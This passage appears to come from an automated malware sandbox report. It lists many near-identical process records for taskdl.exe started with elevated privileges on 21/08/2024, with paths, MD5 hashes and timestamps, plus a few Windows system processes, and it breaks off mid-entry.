                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:28
                                                                                                                                                                              Start time:09:19:32
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:29
                                                                                                                                                                              Start time:09:19:32
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:30
                                                                                                                                                                              Start time:09:19:33
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:31
                                                                                                                                                                              Start time:09:19:33
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:32
                                                                                                                                                                              Start time:09:19:33
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:33
                                                                                                                                                                              Start time:09:19:33
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:34
                                                                                                                                                                              Start time:09:19:33
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:35
                                                                                                                                                                              Start time:09:19:34
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:36
                                                                                                                                                                              Start time:09:19:34
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:37
                                                                                                                                                                              Start time:09:19:34
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:38
                                                                                                                                                                              Start time:09:19:34
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:39
                                                                                                                                                                              Start time:09:19:35
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:40
                                                                                                                                                                              Start time:09:19:35
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:41
                                                                                                                                                                              Start time:09:19:35
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:42
                                                                                                                                                                              Start time:09:19:35
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:43
                                                                                                                                                                              Start time:09:19:35
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                                                                                                              Imagebase:0x7ff62c440000
                                                                                                                                                                              File size:55'320 bytes
                                                                                                                                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:44
                                                                                                                                                                              Start time:09:19:35
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:46
                                                                                                                                                                              Start time:09:19:35
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:48
                                                                                                                                                                              Start time:09:19:36
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:50
                                                                                                                                                                              Start time:09:19:36
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:51
                                                                                                                                                                              Start time:09:19:36
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\MoUsoCoreWorker.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                                                              Imagebase:0x7ff66ce40000
                                                                                                                                                                              File size:1'688'064 bytes
                                                                                                                                                                              MD5 hash:0FBA74C118D80D061FFCE102CCC0DF5E
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:54
                                                                                                                                                                              Start time:09:19:36
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:55
                                                                                                                                                                              Start time:09:19:36
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:56
                                                                                                                                                                              Start time:09:19:37
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:57
                                                                                                                                                                              Start time:09:19:37
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\SIHClient.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\System32\sihclient.exe /cv sLtwoH0bEUKG+NxKNhh+6w.0.2
                                                                                                                                                                              Imagebase:0x7ff7e7aa0000
                                                                                                                                                                              File size:380'720 bytes
                                                                                                                                                                              MD5 hash:8BE47315BF30475EEECE8E39599E9273
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:58
                                                                                                                                                                              Start time:09:19:37
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:59
                                                                                                                                                                              Start time:09:19:37
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:60
                                                                                                                                                                              Start time:09:19:37
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:62
                                                                                                                                                                              Start time:09:19:37
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:63
                                                                                                                                                                              Start time:09:19:38
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:64
                                                                                                                                                                              Start time:09:19:38
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:65
                                                                                                                                                                              Start time:09:19:38
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:66
                                                                                                                                                                              Start time:09:19:38
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:67
                                                                                                                                                                              Start time:09:19:38
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:68
                                                                                                                                                                              Start time:09:19:39
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:69
                                                                                                                                                                              Start time:09:19:39
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:70
                                                                                                                                                                              Start time:09:19:39
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:71
                                                                                                                                                                              Start time:09:19:39
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:72
                                                                                                                                                                              Start time:09:19:39
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:73
                                                                                                                                                                              Start time:09:19:40
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:74
                                                                                                                                                                              Start time:09:19:40
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:75
                                                                                                                                                                              Start time:09:19:40
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:76
                                                                                                                                                                              Start time:09:19:40
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:77
                                                                                                                                                                              Start time:09:19:41
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:78
                                                                                                                                                                              Start time:09:19:41
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
